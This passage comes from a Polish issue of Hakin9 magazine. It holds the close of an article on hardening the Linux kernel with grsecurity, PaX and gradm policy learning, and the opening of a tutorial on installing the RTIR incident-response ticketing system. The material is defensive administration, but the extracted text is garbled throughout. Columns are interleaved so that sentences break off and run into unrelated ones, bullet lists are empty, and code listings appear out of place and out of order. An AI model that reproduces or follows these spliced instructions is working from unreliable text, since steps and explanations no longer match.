grsecurity, podobnie jak SELinux wprowadzający model RBAC. Na stronach projektu można odnaleźć informację, dlaczego nie wykorzystuje on LSM. Wśród wielu argumentów warto zwrócić uwagę na dwa najbardziej niepokojące, związane również z SELinux. Uruchomione w jądrze funkcje LSM w połączeniu z beztroską użytkowników stanowi tykającą bombę. Jeżeli użytkownik systemu zainstaluje oprogramowanie z niepewnego źródła, wszelakie zabezpieczenia przestają mieć znaczenie. Oprogramowanie takie, wykorzystując LSM, przejmuje całkowicie kontrolę nad systemem. Drugą przyczyną są ograniczone możliwości LSM do kontroli uprawnień, podczas gdy grsecurity oferuje znacznie więcej możliwości. SELinux skupia się na kontroli dostępu, tymczasem grsecurity dodaje do jądra dodatkowe możliwości ochrony przed błędami w oprogramowaniu. Podobny kierunek przyjął projekt RSBAC (ang. Rule Set Based Access Control), nie mylić z RBAC. Nie wykorzystuje on LSM, gdyż oferuje zbyt małe możliwości kontroli. Ponadto RSBAC nie ogranicza się do samej kontroli dostępu, będącej celem LSM. Kolejną możliwością wzmocnienia jądra systemu jest OpenWall. Zabezpieczenia dodawane przez projekt, według dokumentacji można podzielić na trzy kategorie: • • • przetestowane. Potencjalnie posiadają one mniej nieznanych jeszcze luk. Dlatego też jądra z serii 2.4 są cały czas aktualizowane i mogą być wykorzystywane w serwerach. W przypadku komputerów wykorzystywanych do codziennej pracy, ze względu na ilość i charakter zmian, znacznie przyjaźniejsze są jadra z serii 2.6. Grsecurity Instrukcję postępowania z grsecurity można znaleźć na stronach projektu. Z tego powodu nie marnuję miejsca na opisywanie wszystkich dostępnych parametrów. Instrukcje te, choć pomocne, są uproszczone, praktycznie eliminując z ich wykorzystania początkujących użytkowników. Pierwszą czynnością przed instalacją jest pobranie łaty grsecurity oraz jądra, dla którego jest ona przeznaczona. W chwili pisania artykułu wersja stabilna wymaga jądra 2.6.27.10, dalsze kroki będą dokładnie odpowiadać dystrybucji Debian. Inne dystrybucje będą wymagały nieco odmiennego podejścia, w szczególności związanego z tworzeniem pakietów. Pierwszym krokiem jest zaopatrzenie się w samą łatę grsecurity oraz odpowiadające zbiór opcji bezpieczeństwa dostępnych w menu Security kernela, zabezpieczenia dla samego jądra na wypadek luk w nim samym, niektóre wersje łaty zawierają poprawki znanych błędów w jądrze. Problem z tym projektem polega na wersjach kernela, dla których jest przeznaczony na chwilę obecną. Łaty przeznaczone są dla jądra 2.4.x 2.2.x i 2.0.x, brakuje wersji dla 2.6.x. Według informacji na stronach projektu, powstanie brakującej wersji jest kwestią czasu. Często stosowane przez administratorów są starsze jądra, jako lepiej Listing 2. Wpisy limits.conf. #* #root #* #@student #@faculty #@faculty #ftp #ftp #@student soft hard hard hard soft hard hard - core core rss nproc nproc nproc nproc chroot maxlogins 0 100000 10000 20 20 50 0 /ftp 4 Listing 3. Tworzenie pakietu deb make-kpkg --initrd --append-to-version=-nazwa kernel_image kernel_headers dpkg -i linux-image-2.6.21.3-nazwa_2.6.27.10-nazwa-10.00.Nazwa_i386.deb dpkg -i linux-headers-2.6.21.3-nazwa_2.6.27.10-nazwa-10.00.Nazwa_i386.deb Rysunek 1. Procedura paczowania jądra 1/2010 HAKIN9 53 OBRONA jej jądro. Po umieszczeniu obu elementów w jednym katalogu należy wykonać polecenia widoczne na Listingu 1. oraz na Rysunku 1. Ewentualne problemy na tym etapie mogą wystąpić przy braku programów służących dekompresji. Na tym zrzucie ekranu widoczne jest przekierowanie wyniku ostatniego polecenia. Jego celem jest jedynie umieszczenie informacji normalnie wyświetlanych na ekranie, w pliku tekstowym. W trakcie wykonywania polecenia patch, mogą pojawić się błędy związane z brakiem potrzebnego oprogramowania, jak pakiety bison czy flex. W następnym kroku wystarczy przejść do katalogu jądra i wykonać polecenie make menuconfig. Dodane opcje można odszukać przechodząc przez Security options, następnie wybierając Gresecurity lub PaX. Przed przejściem do konfiguracji nowych elementów należy zająć się całym jadrem. Nie będę nawet pobieżnie omawiał konfiguracji jądra. Osoby wcześniej wykonujące kompilację mogą ułatwić sobie zadanie przenosząc już zoptymalizowaną konfigurację jądra z pliku /boot/.config-2.6.x do powstałego po rozpakowaniu jądra katalogu linux-2.6.x. Dzięki temu mając posiadaną konfigurację, można skupić się na nowych elementach. Wśród opcji dodanych przez grsecurity, widocznych na Rysunku 2., możliwy jest wybór poziomu bezpieczeństwa. Opcja ta modyfikuje w pre-definiowany sposób pozostałe możliwości. Prócz wyboru poziomu, należy również przejrzeć wszystkie opcje z osobna. Wybór zbyt wysokiego poziomu bezpieczeństwa może utrudnić pracę wykorzystywanego oprogramowania. Dlatego też poziom niski, dając podstawowe zabezpieczenia, sam stwarza najmniej problemów. Niski poziom zabezpieczenia włączy następujące opcje: • • • Linking restrictions – użytkownicy nie będą mogli korzystać z symlinków umieszczonych w katalogach, do których wszyscy maja prawo dostępu. FIFO restrictions – uniemożliwia użytkownikom zapis do FIFOs (inaczej pipes) w katalogach dostępnych do ogólnego zapisu. Enforce RLIMIT_NPROC on exece – dodaje dodatkową kontrolę zużycia zasobów procesora przez użytkowników. Możliwość zużycia zasobów przez użytkownika można również ograniczyć bez instalacji łaty. W tym celu wystarczy wykorzystać plik /etc/security/limits. Domyślnie zainstalowany plik zawiera wyjaśnienie możliwości i przykładowe wpisy, widoczne również na Listingu 2. Każdy wpis składa się z kolejno, określenia do kogo się odnosi, ogranicza w sposób miękki czy twardy, co ogranicza i do jakiej wartości. Warto jeszcze zajrzeć do możliwości oferowanych przez Pax, chociaż żadna z nich na tym poziomie nie jest włączona. Umieszczone tu opcje skupiają się na ochronie pamięci programów. Jednak każda z opcji pociąga za sobą koszty opisane w pomocy, które należy rozważyć. Najmniejszym problemem w przypadku serwerów są problemy z aplikacjami XFree86 czy wine i wirtualna maszyna javy. Problemy te wywoływane przez opcje Enforce non-executable pages praktycznie eliminują jej zastosowanie poza serwerami. Dla serwerów jednak większym problemem jest obciążenie procesora lub ograniczenie adresowanej pamięci, do której dostęp mają aplikacje. Innym przykładem, który pokazuje z jaką rozwagą trzeba podchodzić do dodatkowych zabezpieczeń jest Sanitize all freed memory. W zamian za szybkie usuwanie niepotrzebnych danych z pamięci, należy się spodziewać zwiększonego obciążenia procesora. Po skonfigurowaniu jądra można je przygotować w formie paczki lub bezpośrednio zainstalować. Polecenia do stworzenia paczki dla dystrybucji Debian widoczne są na Listingu 3. Po ponownym uruchomieniu z nowym jądrem, logując się na konto zwykłego użytkownika, można zobaczyć zmiany wywołując polecenia top lub dmesg. Po zmianie jądra można zainstalować narzędzie gradm. Pozwala ono na tworzenie polityk bezpieczeństwa. W tym celu wystarczy pobrać odpowiednią wersję aplikacji i wydać polecenia make oraz make install. W czasie instalacji program poprosi o wpisanie hasła, którego lepiej nie zapomnieć. Pomocą w tworzeniu polityki bezpieczeństwa jest tryb nauki. Dzięki niemu program sam generuje podstawowe pozwolenia na wykonywane czynności. W czasie nauki programu należy wykonywać wszystkie czynności klasyfikujące się do normalnej pracy systemu. Grsecurity wykorzystuje obowiązkową kontrolę dostępu (ang. UWAGA Dalszy opis ma pokazać czytelnikowi, jak posługiwać się programem gradm krok po kroku uwzględniając wszelkie pułapki. Stosując się do opisu należy zachować ostrożność, gdyż można pozbawić się możliwości kontroli jego pracy. Przede wszystkim, przed wykonaniem jakiejkolwiek czynności, należy przeczytać cały artykuł. Rysunek 2. Fragment polityki z opcją nauki 54 HAKIN9 1/2010 HARTOWANIE JĄDRA LINUKSA Mandatory Access Control), dzięki której użytkownik root jest traktowany tak samo, jak użytkownik zwykły. W efekcie polityki wykorzystywane przez program ograniczają możliwość zdobycia uprawnień roota oraz potencjalne szkody. Nawet po ich uzyskaniu możliwości działania napastnika są ograniczone. Ścisła polityka bezpieczeństwa ma jednak drugi efekt. Po uruchomieniu wyuczonej polityki niemożliwe będzie wykonanie jakiejkolwiek nieznanej czynności, w tym wyłączenie systemu. Dlatego prócz umiejętnego posługiwania się dwoma trybami nauki, konieczne są podstawy pisania polityk. Proces uczenia programu można nieco usystematyzować i przyśpieszyć, zawczasu robiąc listę czynności, które mają być dozwolone. Po uruchomieniu trybu nauki można wykonać wszystkie te czynności. Na Listingu 1 widoczne są polecenia, które należy wykonać w celu rozpoczęcia nauki oraz jej zakończenia. Plik, w którym zapisywane są czynności w czasie nauki, może zasadniczo znajdować się w dowolnym rozsądnym miejscu. Kończąc naukę systemu należy podać plik wyjściowy, zawierający reguły pracy systemu. Plik ten musi się znajdować w katalogu konfiguracyjnym programu pod odpowiednią nazwą. Przy próbie wykonania poleceń z Listingu 3 może pojawić się błąd informujący, iż terminal jest niebezpieczny. W takiej sytuacji należy wykonać dwie czynności. Po pierwsze upewnić się czy program, jak i łata są w najnowszej stabilnej wersji. Drugim krokiem jest próba wyłączenia wszystkich zbędnych aplikacji. W przypadku systemów korzystających ze środowiska graficznego należy je uruchomić dopiero w trybie nauki. Listing 4. Uruchomienie częściowej nauki # gradm -P admin Password: #gradm -F -L gradm_learning.log #gradm -D #gradm -F -L gradm_learning.log -O /etc/grsec/ police #gradm -E Listing 3. Pierwsze uruchomienie trybu nauki i polityki. #gradm -L new_learning.log -E W momencie uruchomienia programu w konsoli użytkownika mogą zostać wyświetlone logi programu. Zależnie od konfiguracji jądra i sposobu logowania informacje takie będą kierowane na konsole przy każdym zablokowaniu działania. Aby funkcja nauki rozpoznała wszystkie działania, konieczne jest po jej rozpoczęciu zalogowanie się wszystkich użytkowników. Jeżeli użytkownik będzie zalogowany w chwili uruchomienia trybu nauki i w czasie jej trwania nie zaloguje się ponownie, nie zostanie zarejestrowany. Przez to w politykach nie powstanie przeznaczona dla niego rola, będzie więc korzystał z roli domyślnej. W praktyce użytkownik taki nie ma szans na uruchomienie na przykład środowiska graficznego. Wskazane jest, aby tryb nauki został uruchomiony na kilka dni roboczych. Zakładając, iż w tym czasie nikt nie wykona niepożądanych operacji, pozwoli to na utworzenie pełnej polityki. Niestety przy próbie uruchomienia programu z taką polityką można się spodziewać błędów powodowanych przez dowiązania symboliczne. Na szczęście błąd zgłoszony przy próbie uruchomienia programu wskaże dokładnie linię zawierającą niepożądane odwołanie. Najprostszym wyjściem po upewnieniu się do czego się odnosi, jest jej skomentowanie. Kolejny częsty problem w trybie nauki to powtarzanie ról. Dopóki z pliku konfiguracyjnego nie zostaną usunięte zbędne wpisy ról, niemożliwe będzie uruchomienie RBAC. Ostatnim, często powtarzającym się problemem, jest brak zabezpieczenia dla katalogu /etc/grsec. Problem ten będzie sygnalizował komunikat: There were 1 holes found in your RBAC configuration.... W pliku zawierającym politykę należy odnaleźć temat / dla roli root i dodać wpis /etc/grsec h . Analogiczne uprawnienia powinny być ustawione dla wszystkich najistotniejszych plików jak /etc/ ssh czy smbpasswd i wielu innych. Pierwsza wygenerowana polityka z pewnością nie będzie idealna. Po odczytaniu z logów informacji o zablokowanym dostępie można wykorzystać ograniczony tryb nauki. Dzięki niemu ochrona zostanie wyłączona tylko w stosunku do wybranych obiektów. W tym celu do obiektu zapisanego w polityce należy dodać parametry ol. Zapis taki widoczny jest na drugiej ilustracji. Sam program należy uruchomić w trybie częściowej nauki zgodnie z Listingiem 4. W efekcie powstanie polityka odnosząca się do oznaczonych obiektów. Wystarczy zastąpić odpowiednie fragmenty pliku, aby nowe uprawnienia zaczęły działać. Po douczeniu programu, co jest dozwolone, polityki bezpieczeństwa powinny działać zgodnie z oczekiwaniami. Oznacza to spokojną pracę do czasu zmiany w konfiguracji czy dodania nowego użytkownika. Podsumowanie Każde dodatkowe narzędzie służące zwiększeniu bezpieczeństwa wymaga konfiguracji. Rozwiązania oparte na kontroli dostępu wymagają ponadto ciągłej aktualizacji w zmieniającym się środowisku. W efekcie wykorzystywanie takich rozwiązań na komputerach używanych do codziennej pracy jest znakomitym sposobem na dodanie sobie pracy. Instalacja dodatkowego oprogramowania czy tworzenie nowego użytkownika. Wszystko to wymaga dostosowania konfiguracji. Z drugiej strony ściany ogniowe czy serwery poczty które rzadko podlegają zmianie konfiguracji zyskują na bezpieczeństwie. Jednorazowy wysiłek w ich przypadku daje nadzieje na długą bezpieczną pracę przynajmniej do czasu zmiany konfiguracji. Spodziewając się wzrostu popularności Linuksa tym samym prób ataku pozostaje nadzieja na wdrażanie silnych domyślnych zabezpieczeń. Obecnie znajdujący się w jądrze SELinux wykorzystywany jest przez administratorów, do tego nie wszystkich. Jeżeli okaże się to niezbędne, z pewnością powstaną rozwiązania zaadresowane do użytkowników SOHO. Nie wymagające takiej wiedzy i pracy, jak grsecurity czy SELinux. Obecnie rozwiązania te nie mają racji bytu w grupie SOHO, zaś od administratorów serwerów wymagają dużo wiedzy i pracy. Sylwester Zdanowski Autor książki Debian Linux. System operacyjny dla każdego. Pierwsze starcie. Student Europeistyce na Wydziale Humanistycznym Uniwersytetu Szczecińskiego. Kontakt z autorem: [email protected] 1/2010 HAKIN9 55 PRAKTYKA MARCIN TEODORCZYK RTIR – nie trać czasu na papierkową robotę Stopień trudności Wiadomo, że zdarzenia związane z naruszaniem bezpieczeństwa są nie do uniknięcia. Czy nie warto przygotować się do efektywnej ich obsługi? Nieocenionym narzędziem jest tutaj system wsparcia reagowania na incydenty. N Z ARTYKUŁU DOWIESZ SIĘ co to jest system wsparcia reagowania na incydenty bezpieczeństwa, co ma do zaoferowania RTIR, jak efektywnie używać RTIR. CO POWINIENEŚ WIEDZIEĆ znać podstawy administracji systemów UNIX, posiadać działające serwery MySQL, Apache, Sendmail, mieć zainstalowany Perl. 56 HAKIN9 1/2010 a wstępie warto zdać sobie sprawę, co to jest incydent w kontekście bezpieczeństwa informatycznego. Otóż jest to każda bezprawna lub nieautoryzowana akcja dokonana przy użyciu komputera lub sieci komputerowej. Jako przykłady z jednej strony podać tutaj można skanowanie portów czy ataki DoS, a z drugiej malwersacje, kradzieże poufnych danych, czy pornografię dziecięcą. Jasne jest, że zdarzenia takie są w praktyce nie do uniknięcia, a odpowiednia reakcja na nie powinna minimalizować ich skutki i pociągać sprawców do odpowiedzialności. W idealnej sytuacji, za obsługę incydentów bezpieczeństwa w każdym przedsiębiorstwie czy organizacji odpowiadać powinien specjalnie wydzielony zespół CERT/CSIRT (ang. Computer Emergency Response Team/Computer Security Incident Response Team). Ponadto, odpowiedzialność za obsługę każdego incydentu powinna być jednoznacznie przypisana do konkretnych członków zespołu. Niestety, w praktyce taka sytuacja, szczególnie w małych firmach, rzadko ma miejsce. Obsługą incydentów bezpieczeństwa często zajmują się administratorzy systemu, lub tzw. przypadkowe osoby, które niekiedy przeciążone obowiązkami, nie są w stanie wykonywać tej funkcji rzetelnie i co najważniejsze efektywnie (co zwykle oznacza po prostu szybko). Nie trzeba chyba nikomu uświadamiać, że obsługa incydentów jest krytyczna nie tylko z punktu widzenia bezpieczeństwa, ale również, a może przede wszystkim, jeśli chodzi o zachowanie dobrej reputacji. W sytuacji takiej niektóre firmy decydują się nawet na zlecenie, tak ważnych przecież zadań, podwykonawcom zewnętrznym. A przecież reakcja na incydenty bezpieczeństwa na styku zgłaszający – obsługujący może zostać znacznie usprawniona z wykorzystaniem systemów wsparcia takich jak RTIR (ang. Request Tracker for Incident Response). Systemy wsparcia reagowania na incydenty Reakcja na incydent jest procesem złożonym. Typowo łańcuch zdarzeń przebiega następująco. Pierwszym etapem jest przygotowanie do obsługi incydentów – wyznaczenie pracowników, zainstalowanie i skonfigurowanie oprogramowania, przeprowadzenie szkoleń itp. Kolejnym etapem jest wykrywanie incydentów, które najczęściej sprowadza się do przyjmowania zgłoszeń użytkowników. Następnie, po szybkiej, wstępnej odpowiedzi na zgłoszenie, podejmowane jest dochodzenie. Dochodzenie to działania mające na celu zminimalizowanie skutków incydentu i wyjaśnienie jego przyczyn (ewentualnie pociągnięcie jego sprawców do odpowiedzialności). Działanie takie zakończone powinno być raportem, przeznaczonym także dla przełożonych. Na każdym etapie tego procesu spotyka się trudności. W niniejszym artykule skupimy się na problemie skoordynowania RTIR działań wielu osób, będących na różnych szczeblach decyzyjnych, a często nawet pracujących w różnych firmach. Poza tym, bardzo często pojawia się też potrzeba komunikacji z organizacjami publicznymi, w tym organami ścigania. I tutaj, członkom zespołów CERT/ CSIRT z pomocą przychodzą systemy wsparcia reagowania na incydenty, takie jak RTIR. Mają one zastosowanie na prawie każdym etapie procesu obsługi incydentów, a służą głównie do usprawnienia komunikacji i umożliwienia rozliczania pracowników. Podstawowymi ich funkcjami są organizacja i automatyzacja wymiany informacji. Wstępne odpowiedzi na zgłoszenia mogą być generowane automatycznie, zachowywana jest cała historia korespondencji (w dodatku w postaci nieedytowalnej), kopie wybranych wiadomości mogą być przekazywane przez system np. zarządowi. Incydentom mogą być nadawane priorytety, a użytkownikom określone prawa dostępu. W praktyce, systemy wsparcia reagowania na incydenty zwykle opierają się na biletach (ang. tickets) i poczcie elektronicznej, a często udostępniają także interfejs WWW. RTIR RTIR jest jednym z przykładowych rozwiązań tego typu. System rozwijany od 2003 roku przez firmę Best Practical (http: //bestpractical.com/ ), technicznie jest wtyczką (ang. plugin) do bardziej ogólnego w zastosowaniu (i starszego) systemu RT (ang. Request Tracker). RTIR stworzony został na potrzeby zespołu JANET-CERT i wraz z kodem źródłowym (ang. open source) udostępniony na licencji GNU GPL 2.0. (podobnie jak RT). Aktualnie dostępna jest wersja 3.8. Typowo, RTIR opiera się o komunikację z wykorzystaniem poczty elektronicznej, interfejs WWW i bilety (ang. tickets). System zorganizowany jest wokół incydentów. Każdy incydent może mieć przyporządkowanych wiele raportów, dochodzeń, blokad i właścicieli. Raport to każda wiadomość (zgłoszenie incydentu, odpowiedź, komentarz itp.). Dochodzenie to działania mające na celu zgromadzenie dowodów oraz określenie przyczyn i sprawców incydentu. Blokada to wyłączenie określonych usług (np. zablokowanie określonego portu lub hosta o określonym adresie IP przez zaporę ogniową). Właściciel to osoba odpowiedzialna za dochodzenie i raport końcowy. Właściciele (użytkownicy) mogą być organizowani w grupy. Oprócz podstawowej funkcjonalności (organizacja incydentów i przekazywanie wiadomości), za wykorzystaniem RTIR przemawia wiele innych cech. Jedną z nich jest internacjonalizacja. Dostępne są 22 wersje językowe, w tym język polski (choć tłumaczenie interfejsu jest niedokończone). Możliwe jest także przyporządkowanie domyślnego języka interfejsu i strefy czasowej użytkownikowi). Przez cały czas działania zachowywane są nieedytowalne logi. Dostępne jest wsparcie dla szyfrowania PGP (ang. Pretty Good Privacy). Możliwe jest wykonywanie akcji zbiorowych (np. wysyłanie odpowiedzi do grupy użytkowników), a nawet tworzenie prostych skryptów, działających na zasadzie warunek – akcja – szablon. Dużym plusem jest też rzetelnie wykonany interfejs WWW, użyteczny w szerokiej gamie przeglądarek internetowych (także tekstowych). Nie bez znaczenia są także wymagania RTIR. System ten być uruchomiony tylko pod kontrolą systemów operacyjnych rodziny UNIX (Unix, Linux, BSD, MacOS X, Solaris). Wymagana jest baza danych, którą może być MySQL, PostgreSQL, Oracle lub SQLite. Oprócz tego potrzebny jest serwer WWW. Można tutaj użyć Apache z mod_perl lub FastCGI, lighthttpd z FastCGI lub dowolnego innego serwera WWW opartego o perl. Instalacja i konfiguracja Czas na nieco praktyki. W dalszej części artykułu opisano proces instalacji i konfiguracji RTIR w wersji 3.8.4 w następującym środowisku: Linux 2.6.30 (dystrybucja Archlinux), Apache 2.2 z mod_perl 2.0, MySQL 5.1 i Perl 5.10. Generalnie, system RTIR składa się z trzech elementów (przy czym ostatni jest dla nas opcjonalny): RT, wtyczki RTIR i wtyczki RTFM. Kody źródłowe dostępne są do pobrania odpowiednio na stronach: http://bestpractical.com/rt/download.html, Rysunek 1. System RT w akcji Rysunek 2. Strona logowania do systemu RT 1/2010 HAKIN9 57 PRAKTYKA http://bestpractical.com/rtir/download.html i http://bestpractical.com/rtfm/ download.html. RT, czyli baza Na początek zajmiemy się instalacją RT. Po pobraniu i rozpakowaniu kodu źródłowego oraz zmianie katalogu bieżącego na ten, w którym znajdują się źródła, standardowo wykonujemy polecenie ./configure. Jak zwykle, przekazując mu odpowiednie parametry możemy dostosować instalację do naszych potrzeb. W niniejszym opracowaniu wszystkie wartości pozostawione zostały jako domyślne. W takim przypadku katalogiem instalacji jest /opt/rt3/, bazą danych MySQL, serwerem WWW Apache z mod _ perl2, a systemową grupą użytkowników w obrębie jakiej działać będzie RT jest rt. Następnym krokiem jest sprawdzenie, czy w naszym środowisku spełnione są wszystkie wymagane zależności. Służy to tego polecenie: make testdeps. Fragment przykładowego wyniku jego działania przedstawia Listing 1. Większość wymaganych zależności związana jest z modułami perla. Na szczęście, dystrybucja RT udostępnia Listing 1. Fragment pomyślnego wyniku działania make testdeps XML::RSS >= 1.05...found HTML::Mason >= 1.36...found Digest::MD5 >= 2.27...found MYSQL dependencies: DBD::mysql >= 2.1018...found SMTP dependencies: Net::SMTP...found STANDALONE dependencies: Net::Server::PreFork...found Net::Server...found HTTP::Server::Simple >= 0.34...found HTTP::Server::Simple::Mason >= 0.09...found All dependencies have been found. Listing 2. Fragment pomyślnego wyniku działania make initialize-database Type: mysql Host: localhost Name: rt3 User: rt_user DBA: rt_user Now populating database schema. Done. /usr/bin/perl -Ilib -I/opt/rt3/local/lib -I/opt/rt3/lib \ /opt/rt3/sbin/rt-setup-database –action acl \ –datadir etc –dba rt_user –prompt-for-dba-password In order to create or update your RT database, this script needs to connect to your mysql instance on localhost as rt_user. Please specify that user's database password below. If the user has no database password, just press return. Password: Working with: Type: mysql Host: localhost Name: rt3 User: rt_user DBA: rt_user Now inserting database ACLs. Done. 58 HAKIN9 1/2010 narzędzie, które pozwala automatycznie doinstalować wymagane moduły. Skorzystać z niego można wywołując make fixdeps. Należy pamiętać, aby polecenie to wykonać z uprawnieniami użytkownika root. Brakujące moduły perla można także doinstalować ręcznie, wykorzystując powłokę perl -MCPAN -e shell i polecenie install (np. install Net::Server). Przed przystąpieniem do następnego kroku, należy się ponownie upewnić, czy wszystkie zależności są spełnione oraz utworzyć grupę użytkowników rt (przykładowo za pomocą: groupadd rt). Teraz można skopiować pliki do /opt/rt3/ wykonując polecenie make install. Kolejnym krokiem jest edycja pliku konfiguracyjnego /opt/rt3/etc/RT_ SiteConfig.pm. Przed przystąpieniem do tego, najprościej jest skopiować zawartość /opt/rt3/etc/RT_Config.pm (stanowi ona bardzo dobrą bazę do dalszych zmian). Najważniejsze zmienne (które znaleźć można w wyżej wymienionym pliku) ich wartości i znaczenie przedstawia Tabela 1. Po zakończeniu edycji, należy utworzyć i zainicjować bazę danych wykorzystując polecenie make initialize-database. Fragment przykładowego wyniku jego działania przedstawia Listing 2. W przypadku błędnego wykonania, bazę danych można usunąć używając make dropdb, a następnie powtórzyć polecenie make initialize-database (po dokonaniu koniecznych zmian w pliku /opt/rt3/etc/RT_SiteConfig.pm). Listing 3. Fragment pliku konfiguracji serwera Apache (/etc/ httpd/conf/httpd.conf) # Konfiguracja dla RT # Ścieżka do plików interfejsu WWW Alias /rt/ /opt/rt3/share/html/ <Directory /opt/rt3/share/html/> Order allow,deny Allow from all </Directory> # Zależności perla PerlRequire /opt/rt3/bin/webmux.pl <Location /rt/> AddDefaultCharset UTF-8 SetHandler perl-script PerlHandler RT::Mason </Location> RTIR Dostęp przez interfejs WWW Czas na konfigurację dostępu przez przeglądarkę WWW. Istnieją dwie możliwości wyboru adresu dostępowego: subdomena (np. http://rt.ath/ ) lub podkatalog (np. http://ath/rt/ ). W niniejszym opracowaniu wybrano wersję drugą. Konfiguracja odpowiedzialna za udostępnienie interfejsu WWW znajduje się w dwóch plikach: /opt/rt3/etc/ RT_SiteConfig.pm (plik konfiguracyjny RT) i /etc/httpd/conf/httpd.conf (plik konfiguracyjny serwera Apache). Adres dostępowy określany jest na podstawie zmiennych WebDomain i WebPath (patrz Tabela 1) w następujący sposób: http: //WebDomain/WebPath/. W naszym przypadku zmienne te ustawiono odpowiednio na ath i /rt, dzięki czemu otrzymano adres dostępowy: http: //ath/rt/ (przy czym ath jest w naszym przypadku nazwą hosta lokalnego). Kolejnym krokiem jest konfiguracja serwera Apache. Przykładowe ustawienia zaczerpnięte z pliku /etc/httpd/conf/ httpd.conf przedstawia Listing 3. Tworzony przy jego pomocy alias dla katalogu z plikami interfejsu WWW RT (/opt/rt3/share/ html/ ) oraz włączane jest użycie perla. Jeśli nie zostało to wykonane wcześniej, należy też włączyć wtyczkę mod_perl w konfiguracji modułów Apache. Można to zrobić dopisując w pliku /etc/httpd/conf/ httpd.conf linię: LoadModule perl _ module modules/mod _ perl.so. Aby nowe ustawienia przyniosły efekt, należy zrestartować serwer WWW: /etc/rc.d/httpd restart . Serwer www należy restartować także po zmianach dokonanych w pliku /opt/rt3/etc/RT_ SiteConfig.pm. (w naszym przypadku Postfix). Zazwyczaj, w pliku /etc/mail/aliases dodać należy następujące wpisy: rt: „|/opt/rt3/bin/rt-mailgate --queue General –action correspond --url http://ath/rt” rt-comment: „|/opt/rt3/bin/rt-mailgate --queue General –action comment --url http://ath/rt” Należy w tym miejscu mieć świadomość, że General jest nazwą jedynej, domyślnie tworzonej kolejki (kolejki służą do grupowania biletów). Podobne operacje należy wykonać dla każdej kolejki utworzonej później w systemie. Tymczasem, jeśli wszystko do tej pory zostało wykonane poprawnie, nasz system powinien być już dostępny przez przeglądarkę WWW pod adresem http:// ath/rt/ (Rysunek 2). Domyślny login i hasło podczas pierwszego logowania to root i password. W tym momencie polecam poświęcić kilka minut na zapoznanie się z interfejsem WWW. Wtyczki RTIR i RTFM Czas na to, na czym nam najbardziej zależy, czyli wtyczkę RTIR. Dodatkowo, zainstalujemy też wtyczkę RTFM. Po rozpakowaniu pobranych wcześniej archiwów z kodami źródłowymi, zmieniamy katalog bieżący na katalog z kodem źródłowym (kolejno RTIR i RTFM) i wykonujemy (w każdym z nich) polecenia: perl Makefile.PL make install make initdb Rysunek 3. Zarządzanie użytkownikami Konfiguracja interfejsu e-mail Ostatnim elementem do skonfigurowania jest obsługa poczty elektronicznej. System RT może współpracować z serwerem poczty udostępnianym na innej, nielokalnej maszynie, jednak w niniejszym artykule ograniczymy się do użycia serwera lokalnego. Do wysyłania e-maili, RT używa bramki zaimplementowanej w perlu: /opt/rt3/rtmailgate. Dla zapewnienia poprawnego działania systemu konieczna jest odpowiednia konfiguracja serwera poczty Rysunek 4. Zarządzanie kolejkami 1/2010 HAKIN9 59 PRAKTYKA Stworzą one zestaw plików makefile, zainstalują pliki wtyczek w katalogu /opt/rt3/ i zaktualizują bazę danych, w podobny sposób jak to miało miejsce podczas instalacji systemu RT. Następnie należy edytować plik konfiguracyjny /opt/rt3/etc/RT_ SiteConfig.pm, dodając linię: Wraz z wtyczką RTIR do naszego systemu dodane zostały 4 kolejki (wcześniej była tylko General): Blocks, Incident Reports, Incidents oraz Investigations. Należy zatem uaktualnić konfigurację serwera poczty, dodając w pliku /etc/mail/aliases następujące linie: dla każdej z kolejek (zmieniając Blocks kolejno na nazwę każdej z nich). Tym razem, po zalogowaniu się, naszym oczom powinien ukazać się interfejs z menu po lewej stronie, zawierającym między innymi pozycji RTIR i RTFM (które to nie były dostępne podczas po poprzednim logowaniu). Czytelnicy posiadający język polski jako domyślny w swojej przeglądarce WWW, zauważą zapewne niekompletność tłumaczenia interfejsu (niektóre pozycje są po polsku, niektóre po angielsku). Z tego powodu, aby zachować czytelność, w dalszej części artykułu używany będzie interfejs w wersji angielskiej. W tej chwili nasz system nie nadaje się jeszcze do praktycznego użycia. Konieczne jest założenie i skonfigurowanie kont użytkowników oraz dostosowanie go nieco do naszych potrzeb (w tym stworzenie grup i przyznanie im uprawnień). rt: „|/opt/rt3/bin/rt-mailgate Typowy przypadek użycia Set(@Plugins, 'RT::FM', 'RT::IR'); Oczywiście, aby zmiany przyniosły efekt, należy ponownie uruchomić serwer WWW (Apache): /etc/rc.d/httpd restart --queue Blocks –action correspond --url http://ath/rt” rt-comment: „|/opt/rt3/bin/rt-mailgate --queue Blocks –action comment --url http://ath/rt” Czas na wypróbowanie naszego nowo zainstalowanego systemu. Pierwsze co powinniśmy zrobić po zalogowaniu się, to oczywiście zmiana hasła użytkownika root. W tym celu należy wybrać Home -> Listing 4. Przykładowy szablon automatycznej odpowiedzi RT-Attach-Message: yes Subject: {$Ticket->Subject} {$Transaction->Content()} ------------------------------------------------------------------------Proszę o umieszczanie identyfikatora: [{$rtname} #{$Ticket->id}] w tematach przyszłych wiadomości dotyczących niniejszego incydentu. Aby to zrobić wystarczy wysłać wiadomość jako odpowiedź na niniejszą. Dziękuję, {$Ticket->QueueObj->CorrespondAddress()} Listing 5. Szablon wiadomości o zmianie priorytetu biletu RT-Attach-Message: yes Subject: {$Ticket->Subject} Priorytet Twojego biletu nr {$Ticket->id} został zmieniony. Dziękuję, {$Ticket->QueueObj->CorrespondAddress()} 60 HAKIN9 1/2010 Configuration -> Users -> root, wprowadzić nowe hasło i potwierdzić zmiany. Następnie możemy zabrać się za dostosowywanie systemu. Bogactwo opcji jest tak ogromne, że w niniejszej części artykułu ograniczymy się tylko do dodania kilku użytkowników i grup, podstawowej konfiguracji i obsługi jednego, przykładowego zgłoszenia wykonanego przy pomocy interfejsu WWW. Użytkownicy i grupy Generalnie, użytkowników podzielić można na dwie grupy: personel (konta uprawnione) i użytkowników zewnętrznych (konta nieuprawnione). Po otrzymaniu nowego zgłoszenia (biletu) od niezarejestrowanego użytkownika (drogą poczty elektronicznej), system automatycznie tworzy konto nieuprzywilejowane. Konta użytkowników mogą być też zakładane ręcznie, ale nie mogą być usuwane (mogą być co najwyżej wyłączane). Na początek utworzymy kilku użytkowników. Będą to pracownicy firmy ATH: cezary i cyryl (z zespołu CSIRT), nikodem i norbert (z zespołu NOT (ang. Network Operations Team)) i zenon (z zarządu ATH). Aby dodać użytkownika, z menu należy wybrać Home -> Configuration -> Users -> Create i wypełnić wszystkie potrzebne pola. Ważne jest tutaj 